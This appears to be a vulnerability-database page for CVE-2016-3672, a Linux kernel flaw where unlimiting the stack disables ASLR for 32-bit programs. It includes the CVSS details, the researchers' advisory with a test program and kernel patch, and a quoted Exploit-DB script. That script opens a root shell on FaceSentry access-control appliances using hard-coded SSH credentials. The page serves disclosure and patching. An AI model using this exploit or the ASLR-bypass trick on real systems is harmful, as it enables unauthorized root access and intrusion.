CVE-2016-3672 : Detail

CVE-2016-3672

7.8
/
High
0.04%V3
Local
2016-04-27
15h00 +00:00
2018-10-09
16h57 +00:00
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CVE Descriptions

The arch_pick_mmap_layout function in arch/x86/mm/mmap.c in the Linux kernel through 4.5.2 does not properly randomize the legacy base address, which makes it easier for local users to defeat the intended restrictions on the ADDR_NO_RANDOMIZE flag, and bypass the ASLR protection mechanism for a setuid or setgid program, by disabling stack-consumption resource limits.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-254 Category : 7PK - Security Features
Software security is not security software. Here we're concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 47067

Publication date : 2019-06-30 22h00 +00:00
Author : LiquidWorm
EDB Verified : No

#!/usr/bin/env python # -*- coding: utf-8 -*- # # # FaceSentry Access Control System 6.4.8 Remote SSH Root Access Exploit # # # Vendor: iWT Ltd. # Product web page: http://www.iwt.com.hk # Affected version: Firmware 6.4.8 build 264 (Algorithm A16) # Firmware 5.7.2 build 568 (Algorithm A14) # Firmware 5.7.0 build 539 (Algorithm A14) # # Summary: FaceSentry 5AN is a revolutionary smart identity # management appliance that offers entry via biometric face # identification, contactless smart card, staff ID, or QR-code. # The QR-code upgrade allows you to share an eKey with guests # while you're away from your Office and monitor all activity # via the web administration tool. Powered by standard PoE # (Power over Ethernet), FaceSEntry 5AN can be installed in # minutes with only 6 screws. FaceSentry 5AN is a true enterprise # grade access control or time-and-attendance appliance. # # Desc: FaceSentry facial biometric access control appliance # ships with hard-coded and weak credentials for SSH access # on port 23445 using the credentials wwwuser:123456. The root # privilege escalation is done by abusing the insecure sudoers # entry file. # # ================================================================ # lqwrm@metalgear:~$ python ssh_root.py 192.168.11.1 # [+] Connecting to 192.168.11.1 on port 23445: Done # [*] [email protected]: # Distro Ubuntu 16.04 # OS: linux # Arch: Unknown # Version: 4.10.0 # ASLR: Enabled # Note: Susceptible to ASLR ulimit trick (CVE-2016-3672) # [+] Opening new channel: 'shell': Done # [*] Switching to interactive mode # wwwuser@TWR01:~$ pwd # /home/wwwuser # wwwuser@TWR01:~$ sudo -l # Matching Defaults entries for wwwuser on localhost: # env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin # # User wwwuser may run the following commands on localhost: # (root) NOPASSWD: /sbin/service, PROCESSES, NETWORKING, REBOOT, IPTABLES, /faceGuard/bin/*, /faceGuard/database/Restore*, /bin/date, /bin/cat, /bin/echo, /faceGuard/bin/phpbin/*, /bin/sed, /sbin/*, /usr/sbin/*, /bin/*, /usr/bin/* # wwwuser@TWR01:~$ sudo cat /etc/sudoers.d/sudoers.sentry # Cmnd_Alias SENTRY = /faceGuard/bin/* # Cmnd_Alias SENTRY_DB_RESTORE = /faceGuard/database/Restore* # Cmnd_Alias DATE = /bin/date # Cmnd_Alias CAT = /bin/cat # Cmnd_Alias ECHO = /bin/echo # Cmnd_Alias PRINTING = /usr/sbin/lpc, /usr/bin/lprm # Cmnd_Alias SENTRYWEB = /faceGuard/bin/phpbin/* # Cmnd_Alias SED = /bin/sed # Cmnd_Alias SERVICES = /sbin/service # Cmnd_Alias SBIN = /sbin/*, /usr/sbin/* # Cmnd_Alias BIN = /bin/*, /usr/bin/* # # wwwuser ALL=NOPASSWD: SERVICES, PROCESSES, NETWORKING, REBOOT, IPTABLES, SENTRY, SENTRY_DB_RESTORE, DATE, CAT, ECHO, SENTRYWEB, SED, SBIN, BIN # iwtuser ALL=NOPASSWD: SERVICES, PROCESSES, NETWORKING, REBOOT, IPTABLES, SENTRY, SENTRY_DB_RESTORE, DATE, CAT, ECHO, SENTRYWEB, SED, SBIN, BIN # wwwuser@TWR01:~$ id # uid=1001(wwwuser) gid=1001(wwwuser) groups=1001(wwwuser),27(sudo) # wwwuser@TWR01:~$ sudo su # root@TWR01:/home/wwwuser# id # uid=0(root) gid=0(root) groups=0(root) # root@TWR01:/home/wwwuser# exit # exit # wwwuser@TWR01:~$ exit # logout # [*] Got EOF while reading in interactive # [*] Closed SSH channel with 192.168.11.1 # lqwrm@metalgear:~$ # ================================================================ # # Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus) # Linux 3.4.113-sun8i (armv7l) # PHP/7.0.30-0ubuntu0.16.04.1 # PHP/7.0.22-0ubuntu0.16.04.1 # lighttpd/1.4.35 # Armbian 5.38 # Sunxi Linux (sun8i generation) # Orange Pi PC + # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2019-5526 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5526.php # # # 28.05.2019 # from pwn import * if len(sys.argv) < 2: print 'Usage: ./fs.py <ip>\n' sys.exit() ip = sys.argv[1] rshell = ssh('wwwuser', ip, password='123456', port=23445) rshell.interactive()
Exploit Database EDB-ID : 39669

Publication date : 2016-04-05 22h00 +00:00
Author : Hector Marco & Ismael Ripoll
EDB Verified : No

Source: http://hmarco.org/bugs/CVE-2016-3672-Unlimiting-the-stack-not-longer-disables-ASLR.html CVE-2016-3672 - Unlimiting the stack not longer disables ASLR Authors: Hector Marco & Ismael Ripoll CVE: CVE-2016-3672 Dates: April 2016 Description We have fixed an old and very known weakness in the Linux ASLR implementation. Any user able to running 32-bit applications in a x86 machine can disable the ASLR by setting the RLIMIT_STACK resource to unlimited. Following are the steps to test whether your system is vulnerable or not: 1) Create a dummy program which shows its memory map: #include <stdio.h> int main(int argc, const char *argv[]) { char cmd[256]; sprintf(cmd, "cat /proc/%d/maps", getpid()); system(cmd); return 0; } 2) Compile it: $ gcc show_maps.c -o show_maps # In a i386 machine $ gcc show_maps.c -o show_maps -m32 # In a 64-bit machine 3) Run the application to check that ASLR is working $ for i in `seq 1 10`; do ./show_maps | grep "r-xp.*libc"; done f75c4000-f7769000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so f75db000-f7780000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so f7557000-f76fc000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so f7595000-f773a000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so f7574000-f7719000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so f75af000-f7754000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so f7530000-f76d5000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so f7529000-f76ce000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so f75c2000-f7767000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so f75fe000-f77a3000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so The libc-2.19.so library is mapped at random positions, so, the ASLR is working properly. Now, we run the same test but setting the stack to unlimited: $ ulimit -a | grep stack stack size (kbytes, -s) 8192 $ ulimit -s unlimited stack size (kbytes, -s) unlimited $ for i in `seq 1 10`; do ./show_maps | grep "r-xp.*libc"; done 5559a000-5573f000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so 5559a000-5573f000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so 5559a000-5573f000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so 5559a000-5573f000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so 5559a000-5573f000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so 5559a000-5573f000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so 5559a000-5573f000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so 5559a000-5573f000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so 5559a000-5573f000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so 5559a000-5573f000 r-xp 00000000 08:01 784726 /lib32/libc-2.19.so The libc-2.19.so library is mapped at the same position in all executions: the ASLR has been disabled. This is a very old trick to disable ASLR, but unfortunately it was still present in current Linux systems. Vulnerable packages The weakness, IFAIK is present from the first version of current Linux GIT repository. The first version on this resposiroty is Linux-2.6.12-rc2 dated on April 2005. Impact An attacker capable of running 32-bit system applications in a x86 machine is able to disable the ASLR of any application, including sensitive applications such as setuid and setgid. Note that it is not a exploitable vulnerability by itself but a trick to disable the ASLR. This weakness can be use by an attacker when trying to exploit some other bug. Since the i386 is still very used, the number of systems and affected users could be extremely huge. The wekaness The issue arises because the ASLR Linux implementation does not randomize always the mmap base address when the stack size is set to unlimited. Concretely, on i386 and on X86_64 when emulating X86_32 in legacy mode, only the stack and the executable are randomized but not other mmapped files (libraries, vDSO, etc.). And depending in the Linux version, the executable is neither randomized. The function to calculate the libraries position when the stack is set to unlimited is mmap_legacy_base(): static unsigned long mmap_legacy_base(void) { if (mmap_is_ia32()) return TASK_UNMAPPED_BASE; else return TASK_UNMAPPED_BASE + mmap_rnd(); } The function doesn't add any random offset when the system is running in a native 32-bit system (i386) or a 32-bit emulated system (x86_32). Exploit To exploit this weakness, the attacker just need to set to unlimited the stack and then execute a 32-bit application. Obviously the idea is to execute (attack) privileged applications such as setuid/setgid. FIX We have created a patch to fix this issue: diff --git a/arch/x86/mm/mmap.c b/arch/x86/mm/mmap.c index 96bd1e2..389939f 100644 --- a/arch/x86/mm/mmap.c +++ b/arch/x86/mm/mmap.c @@ -94,18 +94,6 @@ static unsigned long mmap_base(unsigned long rnd) } /* - * Bottom-up (legacy) layout on X86_32 did not support randomization, X86_64 - * does, but not when emulating X86_32 - */ -static unsigned long mmap_legacy_base(unsigned long rnd) -{ - if (mmap_is_ia32()) - return TASK_UNMAPPED_BASE; - else - return TASK_UNMAPPED_BASE + rnd; -} - -/* * This function, called very early during the creation of a new * process VM image, sets up which VM layout function to use: */ @@ -116,7 +104,7 @@ void arch_pick_mmap_layout(struct mm_struct *mm) if (current->flags & PF_RANDOMIZE) random_factor = arch_mmap_rnd(); - mm->mmap_legacy_base = mmap_legacy_base(random_factor); + mm->mmap_legacy_base = TASK_UNMAPPED_BASE + random_factor; if (mmap_is_legacy()) { mm->mmap_base = mm->mmap_legacy_base; The patch enables randomization for the libraries, vDSO and mmap requests on i386 and in X86_32 in legacy mode. We already sent the patch to Linux mantainers and the issue will be not problem in incomming Linux versions: Enable full randomization on i386 and X86_32 Discussion Although this vulnerability is not exploitable by itself, the truth is that the ASLR protection mechanism is useless on local attacks for i386 and x86_32 systems when the attackers are able to attack applications that they can lauch. Hector Marco - http://hmarco.org

Products Mentioned

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 15.10

Configuraton 0

Novell>>Suse_linux_enterprise_software_development_kit >> Version 12.0

Novell>>Suse_linux_enterprise_desktop >> Version 12.0

Novell>>Suse_linux_enterprise_live_patching >> Version 12.0

    Novell>>Suse_linux_enterprise_module_for_public_cloud >> Version 12.0

      Novell>>Suse_linux_enterprise_real_time_extension >> Version 12.0

        Novell>>Suse_linux_enterprise_server >> Version 12.0

        Novell>>Suse_linux_enterprise_workstation_extension >> Version 12.0

        Configuraton 0

        Linux>>Linux_kernel >> Version To (including) 4.5.2

        References

        http://www.ubuntu.com/usn/USN-3004-1
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://www.ubuntu.com/usn/USN-3001-1
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://seclists.org/fulldisclosure/2016/Apr/26
        Tags : mailing-list, x_refsource_FULLDISC
        http://www.securityfocus.com/bid/85884
        Tags : vdb-entry, x_refsource_BID
        https://access.redhat.com/errata/RHSA-2018:1062
        Tags : vendor-advisory, x_refsource_REDHAT
        http://www.ubuntu.com/usn/USN-2997-1
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://www.ubuntu.com/usn/USN-3000-1
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://www.debian.org/security/2016/dsa-3607
        Tags : vendor-advisory, x_refsource_DEBIAN
        http://www.ubuntu.com/usn/USN-3002-1
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://www.ubuntu.com/usn/USN-2996-1
        Tags : vendor-advisory, x_refsource_UBUNTU
        https://access.redhat.com/errata/RHSA-2018:0676
        Tags : vendor-advisory, x_refsource_REDHAT
        https://www.exploit-db.com/exploits/39669/
        Tags : exploit, x_refsource_EXPLOIT-DB
        http://www.ubuntu.com/usn/USN-2989-1
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://www.securitytracker.com/id/1035506
        Tags : vdb-entry, x_refsource_SECTRACK
        http://www.ubuntu.com/usn/USN-3003-1
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://www.ubuntu.com/usn/USN-2998-1
        Tags : vendor-advisory, x_refsource_UBUNTU